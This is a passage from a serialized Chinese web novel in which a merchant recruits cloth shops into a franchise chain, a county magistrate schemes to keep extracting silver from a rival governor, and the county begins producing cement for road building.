更有一点,这行为放在明面上,很容易吸引虞将军的注意。” 此人话说得委婉,但丛喜很能理解。 毕竟都天下三分了,虽说能允许布料商人们偷偷从敌人家进点货,假装是本地的,但若是布料商人连装都不装了,这可就不能放任不管了,至少不能让人觉得他们幽州就比黎州差。 尤其是如今这连锁店若是开起来后,定会遭到频繁针对。 毕竟在上头看来,那便是满头疑惑——怎么本地店铺都打不过这黎州连锁店,现在全部给连锁店让位了? 再一查,幽州人开着黎州的连锁店,这不是把他们幽州的脸面踩在地上摩擦? 这商人就是害怕这个,虽说他也知晓这连锁店在那黎州有多火爆,但综合一番,命还是要比钱重要的。 眼看商人话语中有拒绝之意,丛喜微微一笑,慢慢道:“您误解了,我说的是黎州的连锁店,和我们幽州的连锁店有何关联? 总不能因为都是连锁店,就混为一谈。” 丛喜早就想到办法,首先连锁店肯定不能叫原先的名字,其次,打造一个对幽州来说绝对中立,甚至于偏向幽州立场的形象。 这会侃侃而谈。 “首先我刚才提到黎州,主要是向您解释我们并非对布料行什么都不懂的新人,黎州的连锁店确实是我们旗下的履历和业绩,但并不代表我们连锁店背后的掌权人就一位。您想想看,怎么会有一人能搅动整个黎州市场的? 其背后自然是两位掌权人共同管理的。 不过不瞒您说,如今这两位闹翻了,所以我才奉命前来幽州,看看有没有合作机会而已。 可以说如今我等只是那连锁店布料行二掌柜手下的人,和那大掌柜旗下的黎州连锁店无甚关系。” 丛喜这话说得很是拿捏对方的犹豫心理。 毕竟此人能和他说这么多话,自然是想做连锁店的,但苦于没个正经理由,但眼下现成的借口都有了,怀疑会更快瓦解而已。 果然,在听到丛喜这番话后,此商人很是犹豫。 ——这理由倒是半真半假。这么大的家业确实很大可能不是一个人的,既然合伙干,总会有因为利益不均分割不平的时候,如今看来两人分道扬镳,各做各的似乎也合理。 但这话并没办法验证真伪,只能说看他自己决定了。 正纠结犹豫之际,丛喜叹了口气,慢悠悠道:“您还在犹豫什么呢?怕我骗您?但何必呢?我这么说吧,如今您是我们拜访的第一家,等之后我们会接着继续拜访,直到这幽州充斥着我们的连锁店。 当一家铺子开业时是靶子,但若是成百上千个呢,恐怕是只有我才是靶子。 可以说我替您承担所有压力和问责,您只需要安心赚钱即可。 就像我先前说的,那加入黎州连锁店的布料店,一个月的营业额高了,成本低了,这里里外外至少得差出三倍利润来啊,您还在犹豫? 况且我们开设连锁店都是负责的,一个区域只允许有一家,避免互相影响,如今既然您犹豫 ,我这时间也是紧迫,不若您先考虑着,我等先去拜访一番隔壁的吴掌柜。” 丛喜以退为进,果然对方呼吸乱了。 此人自然犹豫——但既然都和丛喜谈了这么多,知晓了那连锁店的收益后,如今再让他放弃岂不是强人所难? 再说了,到时候他大可说他是被骗的,全把责任推到丛喜脑袋上即可!就像他说的,一家店是靶子,但那么多家店铺呢,难不成能将他们所有人都杀了不可?毕竟法不责众啊! 如今又听到对方说每个区域只开设一家连锁店,还要和吴掌柜谈论时,此人立马微微慌神。 ——这等赚钱的事凭什么轮得到他吴老三? 就他那随波逐流的审美也配? 这会不再犹豫,决定要和丛喜合作,自愿第一个加入连锁店。 忙开口:“丛兄何必着急,我家铺子位置正处于黄金位置,且我这布料花样可都是我精心挑选的,附近多少店铺都是先看我进什么花样颜色才陆续进入,不信丛兄可以打听一番,我家店绝对是经营最为出色的那家。 且如今我已经考虑好了,要加入这连锁店,丛兄何必舍近求远呢?” 看丛喜微微蹙眉不说话,似在琢磨什么,这会被动的反而是他了。 好容易好话说尽,丛喜这才勉为其难的让对方在纸上签字画押。 “哎说实话,本来我等还要再多考察一番再定下连锁店该让谁做才是。 这也是合了眼缘了,我路过你家铺子第一眼就想进来看看,倒是没想到能促成这笔生意。” ——假话。实际上他们早就对各个区域最好的铺子做了调查记录,第一个拜访的自然是最为优秀的铺子,若是谈不成了,再往后延续就是。 毕竟一个旺铺进货量多,布料循环更新快,可比一个半死不活的铺子有用多了! 此人忙笑着恭维几句,这会签字的手签得更快了,生怕丛喜反悔。 而后丛喜便将这连锁店加盟所需的费用,装修一一道来,此人听得直点头,期盼着这连锁店赶快开了才是。 等丛喜即将要走之际,这商人自然也是问了自己最关心的问题。 “丛兄,不知道其余铺子什么时候能加盟进来,好让我们这些人都互相见个面认识一番才是啊。” 潜意思就是别的人啥时候加入,我一个人怕死,我得有大团伙啊! 丛喜微微一笑。 “放心,不出半个月,到时候自会让大伙都聚一聚才是。” 这商人放下心来,半个月好啊,毕竟半个月连店铺装修还没弄好呢!若是到时候眼看情况不对,他大不了断尾求生即可,最多就是损失一笔钱,但换句话来说,既然想要高收益,自然要面对的是高风险,这世上哪有百分百赚钱的?若是没风险,这钱凭什么轮得上他赚? 这会倒是自己给自己哄好了。 而丛喜倒是确实不曾骗他,虽说话语间是有几分夸张,但真实性还是有的。 成功搞定了第一家铺子,其余铺子丛喜自然也是如法炮制,不出多久,竟是顺利将先前大部分看上的铺子都谈下来了,有少数保险派的没能加入,但他们也很快往下顺延,将之后的第二位,或者第三位拉入。 甚至还不到半个月,丛喜就已经将这些人全部整合在一起,而后让他们聚了一番,表面上说的是增进感情,但这些人起初目的是何,大伙都心知肚明。 ——别的聚会没空就不去了,但这聚会不行! 不说别的,好歹得过去看看是不是如同那丛喜所说,人数够不够?到底是本行业的人,万一是对方随便雇人扮的呢? 所以得过去好好试探一番,不为别的,至少得为自己的命着想啊 除了真实性值得探索外,至于是不是招收的是靠谱盟友也很让他们在意。 毕竟凭借盟友水平可以推断丛喜一行人到底是不是如同他们先前所说,只让那等精英店铺加入,从而反向推论对方背后实力。 聚会之人各个心怀鬼胎,等到这局聚会成功举办起来,一众人在屋内见面后,原先悬着的心终于落了地。 好好好——这里面有不少曾有过一面之缘的人啊,且细细看去,竟是有不少相当有实力的掌柜在内,看来丛喜确实没骗他们! 第239章 两个办法 或许是先前对于加盟店此事本就颇为在意,毕竟近半个月来,他们一直提心吊胆,怕这所谓的生意是假的。 虽说不致命,但投资进去的那笔钱不是假的啊!还怪心疼的呢! 而今日,等看到诸多面熟面孔,再互相过问后,发现盟友们均是实力不俗,各个都是黄金位置的掌柜的,这会担忧的心也逐渐放回肚子里。 变成了对待未来的期待。 众人一时间欢喜交加,倒是隐隐开始期待那装修队过来装修了。 这会正围聚在一起,互相讨论着日后加盟后可能会带来的好处。 其中不乏有了解这加盟店的布料商人,这会忙开口道:“咱们原先用高于市场价好几倍的价格进入的那布料记得不?那颜色便是他们黎州店铺从加盟店买的颜色,一转手便卖我等翻了个倍的价格。 如今这加盟店自然是物以稀为贵,谁先加入谁吃肉,后加入的连口汤都喝不上。 想想看,若是这等鲜艳的料子进入咱们幽州市场,足以让一潭死水的市场再次活跃起来,且先前我费尽心思,从那加盟店负责人手里要了一份色卡册子,倒是发现他们的色卡颜色更多。 既然颜色更多,那我等日后在裁剪成衣时,可谓是有了更多的组合和搭配,制作出来的成衣便会更为有新意。” 此人这话的确是说到了众人心坎上。 自然是这个道理!哪有他们费劲千辛万苦从黎州背回来的布料,结果对方却赚那么多,而自己累死累活一顿,竟然只赚对方零头? 谁都知晓掌握了货源就是好,这会既然加盟店已经和自家合作上了,不免已经开始幻想日后自家铺子日进斗金的场景。 毕竟确实如同丛喜所说,他们加盟店选取是分地区的,至少一个地区的买家并不相通,不存在互相争夺客源的问题。 期间众人你一言我一语的,竟是硬生生将氛围推上高潮,而众人则是沉浸在这余韵中不能自拔。 ——这马上要赚大钱了,谁能不欢喜? 而与此同时,丛喜则是将此消息回报回去,除了汇报幽州加盟店已经成事外,另一则消息便是催促风仙县再来一批装修工人,毕竟幽州布料行的装修迫在眉睫。 当然了,至于幽州,则是也需要设立一个专门负责装修顾问的店铺才是,日后也好方便和这些人对接。 于是,丛喜带着满满当当的钱和空空的马车回去了。 回去的时候不太平,竟然是遇到了好几批流寇,本来丛喜还有些琢磨不透,但很快就发现问题所在。 这来幽州的大路和出路几乎就这么几条,而幽州境内民风彪悍,又没什么活计能做,自然流寇数量多,且最重要的是,这群流寇还看情况。 比如守在出口这条路的流寇数量就要比入城那条路的流寇数量多。 丛喜猜测是因为从坎城出来的商人们大部分均是卖出货的,兜里揣着银子,若是此时抢劫,银子比物品更好拿走,毕竟流寇虽说也有马匹,但始终没那么多位置放置货物,且带上货物还跑不快,若是出点意外更是麻烦。 若是货物是自己所需要的还好,但毕竟跑商的货物杂,他们很多东西是用不上的,乱抢容易,往出去卖货难,而且出货的话得去城内,还容易被抓住,索性这些流寇大都等着这群商人将货物卖出去,然后再抢劫一番。 而这抢劫之人,还有不少流派。 比如雁过拔毛形的,也有循环收割派的,总之丛喜倒是一路上将这些流寇的姿态看了个遍。 也是得亏他有符咒护体,一行十五人这才能完完整整的回去。 这要是换个别的队伍,这趟队伍至少得死一半人。 再想想看那幽州坎城的物价是要贵一些,大部分时候和坎城齐平,丛喜总算是明白了为何。 本来他还觉得好奇,毕竟幽州和明州经济差不多,为何幽州首都物价更贵。 但亲自走过一番就明白了,如果说元城贵是因为是大炎朝首都,而坎城则是因为风险太高啊。 这去一趟得死一半的地方,若非是那等装备齐全完好的,谁有胆量去跑商? 说起这装备完好的,一路上他倒是还真遇到过一两支队伍,那些人各个一看就是好手,装备精良。 丛喜心想这样的队伍估计运送的东西也是昂贵,不然这来回一趟还不够本钱的。 估计他猜测,十有八九是什么盐铁生意,或者是丝绸茶叶,亦或是香料生意这一类的,不然真不够折腾的。 那队伍的领头人坐着马车,他没能看到对方,这会倒也是当做笑谈和手下人互相谈过便算作了事。 等到他们一行人继续往风仙县方向走时,便能感觉到明州境内逐渐灼热的空气。 于是一行人又纷纷将先前穿的小褂再次脱下,这会热得脸庞发红。 至于路过那陈京行的封地时,他们都是尽量保持小心翼翼的,毕竟若是被陈京行手下的人逮了进去,想来日后得没日没夜干黑工了。 而此时,陈京行在原先得到风仙县的回信后,自然是听从手下谋士兼信使甘林的建议,将那第一笔钱先打过去。 他像甘林所说,将第一笔钱打得多了一些。 至少在他看来,对风仙县足够用了。 结果没想到,这笔钱给出去后过了没几天,甘林又回来了,面色不太明朗,言语吞吞吐吐,他甚是疑惑,这会问了一番才知晓事情原委。 甘林慢慢道:“陈总督,这风仙县的县令实在是过于贪婪可耻!我等拿过去五万两白银后,对方却说这钱不够,还要再多借点钱。” 陈京行有些沉不住气了。 五万两可是相当于一个县域一年的财政收入了,这笔钱还不够用? 要知道他都是省着点花钱呢! 这会一时间有些恼怒,而后又强迫自己冷静下来。 ——算了,这风仙县实力不详,他不能冲动行事,否则会害死自己的! 这会耐着性子问:“没说还想要多少?” 甘林头低得更低了。 “他们说至少得再加五万两,说风仙县人口多,地方相当于别的县域好几倍,自然花销不够用。” 甘林努力将对方的回复仔仔细细告知陈京行,毕竟他可担不起这传话失误的责任。 先前他刚去那风仙县奉命时,在初闻对方居然还想再要五万两后,第一反应也是这风仙县县令疯了,还疯得邪乎——毕竟这确实不是个小数目啊! 这会战战兢兢回复自家总督,而陈京行则是冷脸,随后气笑了。 “好好好,既然已经扔进去五万两,再给他们五万两又如何?他们对于我们提出的事态度如何?” 陈京行说的是他先前和甘林二人共同谋划的计谋——让风仙县以自身名声前去黎州边界故意屠戮村落,这算是表明风仙县站在了朝廷的对立面,也算作加入他们的投名状。 且同时能够瓦解普通百姓对于风仙县的信任,日后就算是他们和风仙县合作不下去了,对方也别想落着好。 他这银子可不是那么好拿的,想拿就看看手够不够耐烫了。 甘林仔细回忆一番后回复陈京行。 “陈总督,依我所看,这件事他们愿意去做的概率还是很大的。” 既然听到甘林这般说,陈京行也算是稍微放心,毕竟甘林在察言观色这方面没让他失望过。 “那便再次带着五万两银子前去,同时催促他们先做了这件事。” 陈京行心里也觉得憋屈得很,他从小到大就没这么心里不得劲过。 但转念一想,等钱到位,他立马就可以名正言顺的要求对方做事了,且这钱只是算作借给风仙县的,这会心里痛快了不少,冷脸让甘林去做事。 而甘林也不敢触碰自家总督的霉头,这会忙紧赶慢赶前去风仙县了。 如今既然风仙县表态愿意和他们站在一起,那至少其内还算安全。 甘林有经验,虽说不能高估盟友之间的安稳,但结盟者一开始都互相比较收敛,不至于会闹得厉害,所以简而言之,他如今前去风仙县是很安全来着。 这会在心里组织语言,想着去了那风仙县该如何说才能让那县令大人没有拒绝的余地。 而此刻,方知意则是和赵金构,祝应共同研究对策。 “前几日陈京行送过来五万两银子,说让我们表态站在他那边,我觉得钱不够,便让那使者继续回去要钱了。” 方知意说这话时,眼皮都没抬起来,而祝应则是慢慢道:“陈京行此人心胸狭窄,心思阴险,这法子也确实只有他能想出来了,不知方大人如何应对?” 若是按照祝应的脾气,她是激进派,会选择和朝廷暂时合作,将此消息告知朝廷,然后让对方配合自己,从而表面上麻痹陈京行。 至于对朝廷,她们大可以表示风仙县如今只是在做双面奸细而已,不过坏处就是朝廷有可能会不太相信。 而赵金构也有自己的看法。 若是在他看来,他们更应当选择在黎州边界让一批人假装百姓,等到屠戮完毕后,假装让那陈京行几人相信,虽说麻烦,但胜在稳妥,也不会惊动朝廷。 就算朝廷问起来,毕竟他们是真的没杀,那些活着的人也是证据。 两人说完话后看向一直沉默不语的方知意,这会均是好奇她会如何做。 而此刻,方知意倒是抿了抿嘴,露出一个恶劣的微笑。 “办法?核心就是拖和骗。我们距离朝廷尚远,对方因为距离和轻视对我们很是松懈,且日后还能不断运送来匠人,正是我们用这些匠人反攻心的好时机。 而陈京行不过给了十万两白银竟然就让我等立态,未免太过于便宜了。 既然划不来,我们只需要拖着他,骗他继续打钱就够了,等到这两个法子失效,我等也准备得差不多了,该打仗了。 ” 第240章 新开设 起初以为方大人会有何等高见的二人均是微微沉默,祝应还好,毕竟上次她就和方知意讨论过对待这两方联盟该如何做事。 但赵金构不知道,此刻初听这话还是觉得自己不够了解方大人。 比如知道她心黑,不知道自己方大人现在打算做无赖了。 这会一时间沉默片刻,又自己快哄好自己了。 那陈京行这真金白银来得都不正道,邪门歪道的,与其这钱落在他手里让他买军粮,充足自己,不如被自家方大人借过来一用又如何? 再说了,这事关百姓和民生的大事,如何能叫骗? 叫做行侠仗义,劫贫济富而已。 不过想到日后这种行为还是有被人污蔑方大人品性的可能,赵金构慢慢道:“依我看,不如我等先在报纸上刊登几则故事吧?” 祝应知道他说这话什么意思,先刊登一些先前她曾在集闻楼内看到的故事,譬如草船借箭这一类的,主打一个先让民众先入为主,方大人这行为可不是无赖,而是英明神武。 日后便有先人草船借箭,而方大人借万两白银。 这法子方知意自然也认可了,虽说她不在乎,但民生这方面还是需要慢慢渗透才是。 等到第二日,多个版本的核心梗大概是草船借箭的故事被刊登了上去。 故事虽说外形各有不同,但核心大概都在说明一件事。 拿走敌人的东西这不叫空手套白狼,而叫聪慧。 这故事每天一个,变着花样的讲,直到风仙县的百姓们一提起最近疯传的十来个故事,各个都能眉飞色舞的讲清楚,还要满口夸赞其实在是聪慧 “这不费一军一卒,竟然硬生生得到了这么多箭?” “还是敌军的!” “聪慧啊,若不是借箭,这便要输了,但一念之间,竟决定了生死!” “省了自家做箭的精力,还用这箭大败敌军,不可谓不痛快啊!尤其那敌军如此凶残,可谓是上天都在帮助那名为诸葛的英雄啊!” 自报纸刊登类似故事后,讲书人自然会乐呵呵将此故事当做乐子来讲,毕竟通俗易懂,故事又颇为曲折,环环相扣,很适合他们说书。 等到将这故事讲了个遍后,全县的人都知晓这些故事,有记忆好的,甚至还能倒背如流,完事了在上工时,给工友们讲讲,也算是娱乐。 随着这故事深入人心后,方知意则是想到了先前她们一行人前去附近几个县域查看情况。 整体来说,各区域运转良好,城墙全部修建完毕,就等着人群大面积入驻了。 各个区域最基础的豆腐厂,地瓜厂全部建设完毕,官府办公地点也全部修建完成,这会就等着大批量人员入驻了。 除了此消息外,既然开放工厂报名,那相对应的交通必须要先一步解决。 说起交通,方知意稍有些不满。 ——风仙县的路原先是用大炎朝惯有的铺设办法铺设而成。 普通道路用土,砂石为主要材料,这便是砂石路,此路耐磨性一般,但好在是造价低廉,重要道路比如驰道和驿道便采用“夯土”做底层,中层铺碎石,表层覆盖细沙或烧制的方砖,在特殊的交通路段,则是采用石灰和黏土混合烧制的“三合土”增强耐磨性。 因先前风仙县发展资金有限,一直没来得及改善路况,但随着风仙县越来越繁华,这普通道路行人,马车走得多了,不少道路已经开始变得坑坑洼洼,晴天还好,遇到下雨天甚是让人心烦。 不说别的,就连驰道和驿道上的方砖都开始有不少开始破裂,需要时不时就定期修补维护。 方知意心想,这便是飞速发展所带来的不便之处吧。 现在路是必须要修整的,目前看来,只有“三合土”路段是最坚固的,但坏就坏在这种铺设方法太费钱费事了,不仅需要人工数多,且还需要挑天气,不能太干,要定期往路面浇水,不能下雨,不然没法干了成型,毕竟这玩意都得需要七到十天才能凝固成型,必须得找别的替代方法才是。 方知意心里装着事,等到来到集闻楼后,便仔细查阅此方面书籍,她现在已经无比熟悉这里面的布局,倒是没花费多长时间,便找到了一个符合当下情况的东西——水泥。 若按照书中所写,这水泥可谓是十分合适,一来是造价便宜,制作简单,二来是从铺设到干透只需要三天,期间只需要一日一洒水即可,比那三合土路面简单多了。 再翻开书看过去,看到原材料是最为常见的石灰石,黏土,铁矿粉后,方知意心想这三样都很好弄。 再看如何制作—— 先是搭窑,第一步得找个土坡,挖一个半米深的圆坑,直径大概为一米,然后坑壁用黏土抹均匀,保证严严实实,然后地步留个能出灰的小洞,顶部留个加材料的小口即可。 土窑搭建好了,第二步便是混合烧制了,把三样材料按照比例混合均匀后扔进窑里,用火力加热,一般是煤炭,木柴,方知意心想这可以和沼气池互相结合起来,效率更快,等一直烧,烧到里面的石头变成青黑色,一敲就碎时,就可以停火等着冷却,等冷却后,拿出这些青黑色碎块,磨成粉便是水泥。 除了混合烧制时需要注意特制比例外,在铺设时,也是有一份特殊比例。 好在是都很好操作成型,方知意扫了一眼便记在心里。 这书籍被她带走,这件事必须要快点落实,毕竟路好了代表经济好,而路况好也会反哺经济。 因想到日后水泥用量只会越来越多,方知意立即在各个县域开设水泥厂,同时将此事交代给了靠谱之人负责。 等到第一批水泥烧制出来,磨成粉后,最先试验的是县衙内的一小块需要硬化的地面。 这水泥粉摸起来有种让人无法言喻的感触,很细腻,很干,很柔软。 这会按照比例混成水泥后,匠人将作为试验的这小块地仔仔细细铺平了,这才耐心等待着这块地变干。 方知意也在关注此事,毕竟她也想知道是否和那书中所写之事相同,名为水泥的此物只需要三日便能干透? 其实这水泥干得很快,大概不过一个时辰,就已经凝固成固体,如今天气热,更是在第二日晚上时就已经硬邦邦起来。 等到第三日,一行人试验一番,发现这水泥的硬度相当于三合土,甚至比三合土硬度还要高。 但可比三合土铺设简单多了。 既然试验无误,下一步就是立即大批量生产水泥,而后陆续将本县道路更喜欢换代。 因方知意日常需要操心太多,对于县域道路规划这件事便落到了祝应头上。 道路规划需要具有前瞻性,得能率先预测哪里日后车流量多,哪里需要拓宽,哪里只需要日常修建。 好在祝应很适合做这件事,毕竟原先大炎朝的下水系统就是她所做,直到如今稍微改造一番就能直接和沼气池无缝衔接,可谓此人对于这方面很是精通。 对于道路规划,祝应自然也是靠着推测,近期观察,这才绘制出一副风仙县的道路规划图出来。 这规划图花费了她近乎一周的时间,等确定尽善尽美后,祝应这才拿着道路规划图去找方知意,二人仔细敲定后,决定就按照这图上的规划执行。 此道路规划图很快便被画工再度重新复刻多张,作为日后铺路使用。 而祝应并没有闲着,风仙县的道路规划好了,但其余的县域也需要规划,毕竟日后都是需要挨个改造的。 再加上近日祝应手头的活计都分发给了手下得力干将,这会也还算有时间,便主动接下此任务,埋头苦画道路规划图。 不过风仙县百姓们则是更关注另一件事,那便是本县又有新厂子开业了。 ——水泥厂? 听不懂此物是什么,但如今百姓心里早就有一个等式符号。 开设工厂=招收工人=稳定活计=吃喝不愁=福利优秀=有官府托底=好婚配=稳定=必须要竞争入厂! 毕竟原先各个厂子的工人们日常生活什么样,众人还是相当眼热。 工钱高,福利好,若是年轻小娘子或者小郎君能有个稳定的工厂工作,这提亲的人很快就会将门槛踏破。 时间一长,百姓自然各个十分追求进入工厂上工。 等到开设水泥厂时,这消息自然是众人从报纸上得来的消息。 再一看,招收的人竟然不少,除了本县外,别的县域也在招收员工,一时间,众人心思纷起。 虽说是外县,但这可是他们日思夜想的工厂啊! 本县竞争压力肯定大,若是外县呢,是不是要更松快一些? 但坏就坏在他们家在风仙县的,在别的县域没有住所居住,一来二去要花费不少路费和租房费用,众人倒是很快歇了心思。 但原本就在其余县域的本地人则是来了精神。 他们自从开春到现在,虽说也一直有活计可以做,但在周围环境的影响下,这些外县之人也觉得打零工不是长久之道,相比于打零工,肯定还是加入工厂更为体面稳定。 在听到他们县域竟然也要建设水泥厂时,各个欣喜万分。 有人脉的早就打听这该如何入场,没人脉的也在默默努力,看运道够不够,若是能进入厂内,可谓是运气好! 这消息搅得众人议论纷纷之际,各县域不少人更是议论纷纷。 议论内容自然是他们县域内刚建设好的那两所工厂,虽说还没说这厂子是干什么用的,但众人都知晓,这定是工厂,毕竟他们没在厂子工作过,但是去过风仙县,看过那边的厂子长什么模样!《 》 240-250 第241章 写信 风仙县。 水泥厂很快就招收了足够多的员工,当然,目前只是风仙县的厂子暂且招满了,别的县域还正在招聘中。 先前从黎州元城来的那三百四十匠人则是战战兢兢上工,就是为了做出更多的弹药和火铳,震天雷。 不过因为每人负责的项目不同,所以这些匠人一直上工许久,依旧没猜测自己每天到底在干嘛。 但既然有钱赚,谁不想多赚点? 反正总归是将自己手头的工作干好了就行,操心那些有用没用的,小心被当成是细作! 这不是瞎说,在这风仙县呆了一个多月后,总归是大伙都能遇到的原因,就算不是每个人都互相熟悉,但至少能保持在一个互相面熟的程度上,毕竟他们都是一块来的,都是从黎州元城而来,且这出门在外的,自然还是更加相信老乡。 但随着时间一天天度过,众人察觉其中似乎是少了一些人。 这稍微一计算,竟然少了足足有快三十来个人。 因为生怕这些人是出了什么意外,或者是此地还有未知的风险,大伙轮番找了一番后发现那消失之人可能是细作。 这还是其中一匠人偶然发现的,当时他前几日还在听那人在和另外一人低声谈论,大概是询问对方的活计,以及谈论一番关于工厂制物内容的话题,因他和此人是坐着同一辆马车来的,倒是难免心善劝了几句。 “别问了吧,明文规定了不让私底下谈论这些事的,这工钱给得挺高的,咱们管他们是要做什么,只要最后给咱们结算就行了。” 若是普通人的话,在他劝完后就该消停了,但之后没几日,他再次发现此人似乎还在打探工厂,这会他心说奇怪,但也轮不到他管别人,只是觉得此人颇为不识抬举,想到日后别让他连累自己,于是便默默和此人划分界限。 ——这高薪活计此人不愿干,但是他愿意得很啊! 若是到时上头知晓了,一怒之下也把他给辞退了,他哭都没地方哭去。 心底一紧,便自动和这人离得更远了。 乖乖,他甚至有点后悔之前为何要好心劝阻,好浪费那口舌,还让自己有了风险! 之后他一直战战兢兢工作,在没过多久后,此人便消失不见了,当时一开始他以为是被调到了别的岗位。 但是结合其余人发觉的不妥之处,再加上人数不对劲,这会自然是想到了当初那奇诡一事。 现在再一看,明显不是被调岗,那便是因为违反上头规定被秘密处理了? 这消息瞒不住。 很快不少匠人多多少少也听闻了这消息,不少人略微心慌,但更多人带着一种麻木的心如止水。 ——慌张有什么用?去哪儿不是赚钱,不如在这里趁能赚的时候多赚点,日后就算跑路,带着银子跑路,总比两手空空跑路要存活概率更大。 且最重要的是,风仙县或许有死亡的风险,但出了风仙县,那死亡的风险难道就没了? 反而比在这里更高。 两者相较取其轻,自然还是乖乖留在本县更好一些。 因之前三十来人消失,众人难免心生一计。 各自分成小组,每个组有十个人。 每天每个组确认一番人数,若没异常就不用互相通气,若是人数不对劲了,便由他们悄悄记录,等看看情况再说后续该怎么办。 起初众人还是蛮紧张的,但多日都安安稳稳毫无动静,倒是让人觉得他们大惊小怪了,甚至有人开始怀疑那三十来个人是不是因为干得不好被辞退了。 等到时间一久,众人更是放松下来,彻底心态平和。 而这些匠人的动态瞒不过负责监视的官兵们,早在一开始便将消息传递到方知意耳朵里,得到的吩咐是继续观察,若是有危险便控制起来,没危险暂时散养。 等到再也摸不出细作后,在方知意的授意下,厂子负责人则是给众人开了一个大会,会议内容开口便是讨论那消失的三十来人。 等听到那三十来人因为被怀疑是细作,而后被押送到官府关押后,众人悬着的心终于落了肚。 随后便也想清楚了,想来那细作是朝廷早就安排进来的,目的便是为了监视风仙县。 但为何要监视风仙县?他们来这里不还是官府亲自将他们送来的? 不少人沿着这思绪,倒是很快抓住矛盾点,风仙县和朝廷表面和,内地不和,但因此地工钱丰厚,众人还是打心眼里希望风仙县和朝廷一直安稳下去。 离了这风仙县,谁给他们这么高的工资啊! 不过他们又改变不了什么,这会只能惴惴不安,但胆小的继续打工赚钱。 话说那万惠工作已有快两个月,本来按照他的原计划,他是打算在工作满三个月后再租房,然后将家人接来这风仙县。 但因本县水泥厂的招聘让他不自觉心生犹豫。 错过水泥厂招聘他其实并不后悔,毕竟就算家人过来,他妻子人瘦弱,水泥厂听说更耗费体力,也不适合妻子干。 但这无疑是给万惠提了个醒。 既然风仙县如今还在不断地开设新的厂子,继续大肆招工人,那他完全可以早些让家人过来,好在下次开放别的适合妻子工作的职位前,让妻子去试试。 当然,起初这只是他个人想法。 但等几日,却在下工后路过小吃街时,听到几人闲聊内容心中难免机警。 这些人看着应当是跑商之人,应当是在等着拿货,所以这才有空聚在小摊前,边吃东西边互相聊天。 万惠注意到这几人看着不像是什么大户商人,应当生意做得比较小,听了一耳朵果然如此。 “这风仙县来了多少次,次次拿货都要等许久。” “哎,不能这么说,毕竟如今来的人实在太多,若不是这拿货设置了预约制度,不然肯定比现在更混乱,等得时间更长。” 万惠倒是知道这个所谓的拿货预约制度,当初他第一次知道时,只是觉得哪个聪明人想到的这方法,既不用跑空,也不用死死等着,只需要在轮到自己时过来取走便是。 果然,便听那几人继续道。 “这预约制度确实做得好,若是这么多人全都一股脑来了,估计路上马车都要堵死了!” “给你们说个小道消息,日后咱们取货估计会轻松点了。”说话之人明显声音压低,周围几人立即凑过来问。 “哦?真的假的?别卖关子了,赶紧告知我等。” 万惠鬼使神差般没走开,而是默默听着这几人的谈话内容。 那人低声道:“我听说,这附近的几个县域厂子都建好了,据小道消息说,开的是豆腐厂和地瓜厂,如今就等着一声令下招工了。” 他们一行人正是拿货这两样干货的,所以别的县域开了后,为了方便跑商,他们甚至可以直接从最靠近目的地的县域进货,而非必须要来风仙县。 这样一来,便起到了一个分流作用。 而万惠脑袋里则是轰隆一声,被他们所说的这话完全震惊在原地。 ——别的县域也要开设厂子了?还没开始招工?招工的是地瓜厂和豆腐厂? 万惠脑海里不禁浮现出他初次来风仙县时吃到的这两物,均是各个味美。 如今想到那几人所说,厂子已经完工,就等着招收人时,他也急了。 虽说不是风仙县招收,但距离此地最近的玉县也算一个很好的去处。 若是能进入玉县的厂子内,想来日后他们便能彻底在这风仙县安稳下来了。 万惠不自觉想到了最近在这厂内给发放的福利。 因月末赶上了一次小节日,厂内给他们三百余人都发了节日补贴,譬如白糖,盐巴,还有好几罐酱料,据说是来自豆腐厂的。 除了这些福利外,节日万惠还享受了一把三倍工资,拿到了人生中最高的一天薪资。 ——一两二! 当日他薪资是400文,因为他做事小心,且手很巧,熟练之后几乎没有做坏零件的时候,所以日效益为400文,三倍便是一两二,当时万惠在看到这数额时,只觉得满脑袋在发晕,浑身像是放烟花一样忍不住颤抖。 当天晚上便因为兴奋而失眠了。 等到第二天,却又因为激动,浑身亢奋,身体丝毫感觉不到累。 其余匠人没比他好到哪儿去,就连原先还犹豫要不要喊家人来的那些人,此刻也难得心思动摇了。 别的不说,这风仙县福利待遇是真的好啊! 在别的地方只能算是生存,但在这里,这可真是生活! 且人一旦在享受过这等待遇后,便无法接受再回归黎州元城,每日操劳却赚不到几个钱的那种绝望境地中。 一时间,信件如同雪花般涌入黎州元城。 此刻听闻那几个商人所说后,万惠满脑子就一个念头,得赶紧把家人接过来! 越快越好,说不定到时候还能赶得上下一次招工! 万一妻子能顺利进入厂子内,他们就算是彻底稳定下来了,到时候他们便可以将孩子送到学堂内读书,毕竟两个孩子岁数也不小了。 而先前万惠就注意到,风仙县比他家孩子还小的孩子,已然进入学堂开始上学了,这让他难免心中有些危机,想让自家孩子也赶紧上学,好能跟得上周围人的步伐。 急匆匆找了写信的人,万惠又开始算自己手里的钱,算来算去,发现租房肯定够了,再加上他如今这活计至少依他看还能干挺久,不至于会突然失业,所以暂时不必考虑收入中断。 而看那邮差离开的背影,万惠突然想到,妻子估计还要找人帮忙读信,但他如今来到此处,已经学会了一些汉字,学会了拼音,若是妻子来了后也学会了后,日后她便可以自己看他写了什么,好让他也能写一句只给妻子看的体恤话。 第242章 搬家 几日后,万氏收到了丈夫寄来的信件。 其实近期她还收到一次万惠寄过来的东西,那是发一月工资时,万惠寄来的,寄来的除了有银两,干货外,还多了一块颜色鲜艳的布料。 那布料是之前万惠发现在风仙县价格比元城买的便宜许多,于是这才买了两块,一块小点的是适合给男孩穿的颜色,另一块更大的是给女儿和妻子准备的。 毕竟万惠一个月工资还算得上够用,想来元城物价处处比风仙县要贵,在风仙县买了就当变相省钱了。 上次那两块布料,万氏给两个孩子和自己做了一身,剩余的碎步做了几个荷包和香囊,打算到时候给万惠戴上。 这次收到信件时,万氏只是觉得比上次时间间隔要更短一些,等到打开信件,发现此次万惠只送来了银两和信,别的一律没带。 她不认识字,但隐约觉得要有大事发生,忙去找了认识字的人去看。 那人看了一眼,眼内划过一抹好奇。 “这位娘子,你夫君意思是说,让你赶快去他所在的地方,带着孩子,越快越好。他在那处有大事要和你商量。” 万氏愣了一下,这会不由地开始琢磨万惠这话到底是何意。 将对应的铜板递给那人后,她往回走,难免想到了上次万惠书信所隐含的意思。 当时她觉得买布料浪费,毕竟她和孩子虽说没什么新衣服,但旧的还能穿,但从丈夫的字里行间,以及过往对他的了解,万氏很快就了解到丈夫的潜意思。 ——那布料价格定是要比元城便宜的。 